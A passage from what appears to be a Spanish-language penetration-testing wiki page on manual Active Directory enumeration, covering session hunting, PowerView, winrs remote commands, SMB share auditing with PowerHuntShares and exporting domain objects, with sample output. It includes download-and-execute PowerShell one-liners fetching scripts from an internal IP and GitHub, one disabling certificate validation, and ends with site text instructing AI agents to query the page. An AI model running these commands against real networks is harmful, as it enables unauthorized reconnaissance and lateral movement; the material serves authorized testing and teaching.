. .\Invoke-SessionHunter.ps1
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-SessionHunter -NoPortScan -RawResults | select Hostname,UserSession,Access
```

{% endcode %}

```powershell
HostName       UserSession                Access
--------       -----------                ------
xcorp-appsrv   xcorp\appadm                False
xcorp-ci       xcorp\ciadmi                False
eu-dc          EU\Administrator            False
xcorp-adminsrv xcorp\appadm                 True
xcorp-adminsrv crm\srvadmin                 True
xcorp-adminsrv xcorp\websvc                 True
```

Si se quiere realizar lo mismo, pero contra una lista de *hosts* en concreto:

```
PS C:\AD\Tools> cat hosts.txt

FILESERVER
DC01
GESTION
CRM
```

{% code overflow="wrap" %}

```powershell
Invoke-SessionHunter -NoPortScan -RawResults -Targets C:\AD\Tools\hosts.txt | select Hostname,UserSession,Access
```

{% endcode %}

Ejemplo de acceso remoto:

{% code overflow="wrap" %}

```powershell
winrs -r:crm cmd /c "set computername && set username"
```

{% endcode %}

Otras vías de [Misc](/pentesting-en-infraestructuras/misc.md#conexion-remota)

#### PowerView

{% code overflow="wrap" %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.X/PowerView.ps1'))
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1'))
```

{% endcode %}

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong><a data-footnote-ref href="#user-content-fn-1">Find-DomainUserLocation</a>
</strong></code></pre>

```
UserDomain      : xtormincorp
UserName        : srvadmin
ComputerName    : crm.xtormincorp.local
IPAddress       : 192.168.1.10
SessionFrom     :
SessionFromName :
LocalAdmin      :
```

Acceso remoto:

{% code overflow="wrap" %}

```powershell
winrs -r:dcorp-mgmt hostname;whoami
winrs -r:crm cmd /c "set computername && set username"
```

{% endcode %}

## Campertas compartidas / Shares

{% code overflow="wrap" %}

```powershell
Find-DomainShare
Find-DomainShare -CheckShareAccess
```

{% endcode %}

### PowerHuntShares

Es una herramienta en PowerShell desarrollada por NetSPI que permite descubrir y analizar potenciales vulnerabilidades en carpetas compartidas vía SMB en entornos Active Directory.

Su objetivo es facilitar la identificación de **permisos excesivos**, **shares de alto riesgo** y **potenciales vectores de ataque** a través de un análisis automatizado con generación de informes en HTML y CSV.

{% code overflow="wrap" %}

```powershell
Import-Module .\PowerHuntShares.psm1
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
# Reduce SSL operating level to support connection to GitHub
[System.Net.ServicePointManager]::ServerCertificateValidationCallback ={$true}
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12

# Download and load PowerHuntShares.psm1 into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")
```

{% endcode %}

Se puede contar con una lista de hosts objetivo ya predefinida o que sea necesario enumerar.

Por ejemplo, se pueden enumerar los equipos en AD con el siguiente comando de PowerView y crear un txt con la lista para usarla posteriormente como lista de hosts objetivo en adelante:

{% code overflow="wrap" %}

```powershell
Get-DomainComputer | select -ExpandProperty dnshostname > C:\Pentent\SMB\servers.txt
```

{% endcode %}

Luego, podemos usar la herramienta para crear un reporte con los resultados de las pruebas que se realicen:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Invoke-HuntSMBShares -NoPing -OutputDirectory C:\Pentent -HostList <a data-footnote-ref href="#user-content-fn-2">C:\Pentent\SMB\servers.txt</a>
</code></pre>

Al finalizar se creará una carpeta con un fichero html que contendrá el resumen de resultados.

<figure><img src="/files/ejfqq1HUbfolYmNdV56I" alt=""><figcaption></figcaption></figure>

* Con credenciales:

{% code overflow="wrap" %}

```powershell
Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Pentent\SMB\servers.txt -Credentials "DOMINIO\usuario"
```

{% endcode %}

* Desde una máquina fuera del dominio:

{% code overflow="wrap" %}

```powershell
runas /netonly /user:DOMINIO\usuario powershell.exe

Import-Module .\PowerHuntShares.psm1

Invoke-HuntSMBShares -OutputDirectory C:\Pentent\SMB\servers.txt -DomainController 10.0.0.1 -Credential DOMINIO\usuario
```

{% endcode %}

## Registros a CSV

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$OUTFOLDER="C:\Pentest\Enum"
mkdir $OUTFOLDER
Get-DomainUser | select -ExpandProperty samaccountname > $OUTFOLDER"\AD_users_list.txt"
Get-DomainGroup | select -ExpandProperty samaccountname > $OUTFOLDER"\AD_groups_list.txt"
<strong>Get-DomainComputer | select -ExpandProperty dnshostname > $OUTFOLDER"\AD_computers_list.txt"
</strong>Get-DomainOU | select -ExpandProperty name > $OUTFOLDER"\AD_OUs_list.txt"
</code></pre>

[^1]: Tarda un poco en finalizar la ejecución, paciencia...

[^2]: dc.xtormincorp.local

    shares.xtormincorp.local

    sm01.xtormincorp.local


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/enumeracion-manual.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
